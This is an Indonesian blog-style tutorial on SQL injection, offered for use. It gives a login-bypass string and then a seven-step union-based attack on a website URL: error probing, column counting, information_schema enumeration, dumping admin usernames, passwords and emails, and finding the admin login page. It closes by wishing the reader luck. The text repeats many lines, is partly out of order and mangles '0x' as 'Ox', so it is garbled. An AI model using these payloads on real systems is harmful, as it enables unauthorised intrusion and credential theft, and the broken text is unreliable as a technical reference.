SQL injection adalah sebuah aksi hacking yang dilakukan di aplikasi
client dengan cara memodifikasi perintah SQL yang ada di memori aplikasi
clien dan juga merupakan teknik mengeksploitasi web aplikasi yang
didalamnya menggunakan database untuk penyimpanan data.
Sebab terjadinya SQL Injection
1) Tidak adanya penanganan terhadap karakter – karakter tanda petik satu ‟ dan juga karakter double minus --yang
menyebabkan suatu aplikasi dapat disisipi dengan perintah SQL.
2) Sehingga seorang Hacker menyisipkan perintah SQL kedalam suatu parameter maupun suatu form.
2) Sehingga seorang Hacker menyisipkan perintah SQL kedalam suatu parameter maupun suatu form.
Contoh sintak SQL dalam PHP
1) $SQL = “select * from login where username =‟$username‟ and password =
„$password‟”; , {dari GET atau POST variable }
2) isikan password dengan string ‟ or ‟‟ = ‟
3) hasilnya maka SQL akan seperti ini = “select * from login where username
= ‟$username‟ and password=‟pass‟ or „=′”; , { dengan SQL ini hasil selection akan
selalu TRUE }
4) maka kita bisa inject sintax SQL (dalam hal ini OR) kedalam SQL
Contoh sintak SQL Injection
1) Sintaks SQL string ‘-- setelah nama username
2) Query database awal :
select*from user where name = 'bob' and password = 'robot'
berubah menjadi
select*from user where name = 'bob'--' and password ='xxx'
„$password‟”; , {dari GET atau POST variable }
2) isikan password dengan string ‟ or ‟‟ = ‟
3) hasilnya maka SQL akan seperti ini = “select * from login where username
= ‟$username‟ and password=‟pass‟ or „=′”; , { dengan SQL ini hasil selection akan
selalu TRUE }
4) maka kita bisa inject sintax SQL (dalam hal ini OR) kedalam SQL
Contoh sintak SQL Injection
1) Sintaks SQL string ‘-- setelah nama username
2) Query database awal :
select*from user where name = 'bob' and password = 'robot'
berubah menjadi
select*from user where name = 'bob'--' and password ='xxx'
Berikut Adalah Langkah-Langkah Menggunakan SQL Injection
1. Step Satu
Carilah target, misalkan: http//www.snipp55.com/berita.php?id=100
Tambahkan karakter ( ‘ ) pada akhir url atau menambahkan karakter ( – ) untuk melihat apakah ada pesan error.
contoh : http//www.snipp55.com/berita.php?id=100′ atau
http//www.snipp55.com/berita.php?id=-100
sehingga muncul pesan error seperti berikut :
contoh : http//www.snipp55.com/berita.php?id=100′ atau
http//www.snipp55.com/berita.php?id=-100
sehingga muncul pesan error seperti berikut :
” Warning: mysql_fetch_assoc(): supplied argument is not a valid MySQL result resource in /var/www/html/classes/storedProcedures/GetArticleData.class.php on line 92 “
(dan masih banyak lagi pesan error yg lainnya)
2. Step Dua
Mencari dan menghitung jumlah table yang ada dalam databasenya, gunakan perintah : order by
contoh : http//www.snipp55.com/berita.php?id=-100+order+by+1– atau
http//www.snipp55.com/berita.php?id=-100+order+by+1/*
http//www.snipp55.com/berita.php?id=-100+order+by+1/*
ceklah secara step by step (satupersatu)
misal:
http//www.snipp55.com/berita.php?id=-100+order+by+1–
http//www.snipp55.com/berita.php?id=-100+order+by+2–
http//www.snipp55.com/berita.php?id=-100+order+by+3–
http//www.snipp55.com/berita.php?id=-100+order+by+4– dst
http//www.snipp55.com/berita.php?id=-100+order+by+2–
http//www.snipp55.com/berita.php?id=-100+order+by+3–
http//www.snipp55.com/berita.php?id=-100+order+by+4– dst
sehingga muncul pesan error
misal pesan errornya muncul di table 9 :
misal pesan errornya muncul di table 9 :
http//www.snipp55.com/berita.php?id=-100+order+by+9–
berarti table yang terdapat dalam database adalah 8
menjadi http//www.snipp55.com/berita.php?id=-100+order+by+8–
menjadi http//www.snipp55.com/berita.php?id=-100+order+by+8–
3. Step Tiga
Mencari nomor keberuntungan dengan menggunakan perintah union select
karena tadi tablenya hanya ada 8
maka: http//www.snipp55.com/berita.php?id=-100+union+select+1,2,3,4,5,6,7,8–
karena tadi tablenya hanya ada 8
maka: http//www.snipp55.com/berita.php?id=-100+union+select+1,2,3,4,5,6,7,8–
ok seumpama yg keluar adalah angka 5
maka gunakan perintah version() atau @@version untuk mengecek versi
sql yg diapakai.
masukan perintah tsb pada angka yg keluar tadi
misal: http//www.snipp55.com/berita.php?id=-100+union+select+1,2,3,4,version(),6,7,8– atau
http//www.snipp55.com/berita.php?id=-100+union+select+1,2,3,4,@@version,6,7,8–
misal: http//www.snipp55.com/berita.php?id=-100+union+select+1,2,3,4,version(),6,7,8– atau
http//www.snipp55.com/berita.php?id=-100+union+select+1,2,3,4,@@version,6,7,8–
lalu lihat versi database yg digunakan seumpama versi 4 maka
tinggalkan saja karena dalam ver 4 ini kita harus menebak
sendiri table n
column yg ada pada web tersebut karena tidak bisa menggunakan perintah
From+Information_schema
jika versi 5 berarti anda beruntung tak perlu menebak table n column
seperti ver 4 karena di ver 5 ini bisa menggunakan
perintah
From+Information_schema
4. Step Empat
menampilkan table yg ada pada web tsb dengan
perintah group_concat(table_name) >>> dimasukan pada angka keberuntungan yg keluar tadi
perintah +from+information_schema.tables+where+table_schema=database()– >>> dimasukan setelah angka terakhir
perintah group_concat(table_name) >>> dimasukan pada angka keberuntungan yg keluar tadi
perintah +from+information_schema.tables+where+table_schema=database()– >>> dimasukan setelah angka terakhir
Contoh :
http//www.snipp55.com/berita.php?id=-100+union+select+1,2,3,4,group_concat(table_name),6,7,8+from+information_schema.tables+where+table_schema=database()–
ibaratkan yang muncul adalah table “admin”
5. Step Lima
menampilkan kolom yang terdapat di table “admin”
perintah group_concat(column_name) >>> dimasukan pada angka keberuntungan yg keluar tadi
perintah +from+information_schema.columns+where+table_name=Oxhexa– >>> dimasukan setelah angka terakhir
perintah +from+information_schema.columns+where+table_name=Oxhexa– >>> dimasukan setelah angka terakhir
Contoh :
http//www.snipp55.com/berita.php?id=-100+union+select+1,2,3,4,group_concat(column_name),6,7,8+from+information_schema.columns+where+table_name=Oxhexa–
pada tahap ini kamu wajib mengextrak kata pada isi table menjadi hexadecimal yaitu dengan cara mengkonversinya
website yg digunakan untuk konversi :
website yg digunakan untuk konversi :
contoh kata yg ingin di konversi yaitu “admin” (tanpa tanda kutip) maka akan menjadi 61646d696e
maka :
http//www.snipp55.com/berita.php?id=-100+union+select+1,2,3,4,group_concat(column_name),6,7,8+from+information_schema.columns+where+table_name=Ox61646D696E–
ibaratkan yang muncul adalah column username,password,email
6. Step Enam
memunculkan apa yg tadi telah dikeluarkan dari column yaitu dengan cara
perintah concat_ws(Ox3a,hasil isi column yg akan dikeluarkan)
>>> dimasukan pada angka keberuntungan yg keluar tadi
perintah +from+(nama table berasal) >>> dimasukan setelah angka terakhir
perintah +from+(nama table berasal) >>> dimasukan setelah angka terakhir
Contoh :
http//www.snipp55.com/berita.php?id=-100+union+select+1,2,3,4,concat_ws(Ox3a,column
yang akan dilihat isinya),6,7,8+from+(nama table)–
contoh column yang keluar td adalah column username,password,email
Maka :
http//www.snipp55.com/berita.php?id=-100+union+select+1,2,3,4,concat_ws(Ox3a,username,Ox3a,password,Ox3a,email),6,7,8+from+admin–
contoh yang keluar :
admin:an4kal4y:alay_alay@alay.com
cara membaca nya seperti berikut :
username : admin
password : an4kal4y
email : alay_alay@alay.com
7. Step Tujuh
tahap terakhir yang harus dilakukan adalah mencari halaman admin atau login (adminlogin).
website yang menyediakan program pencarian login admin :
http://revtan.site40.net/admin/?
http://revtan.site40.net/admin/?
Selamat Mencoba
Pengertian SQL Injection
BalasHapus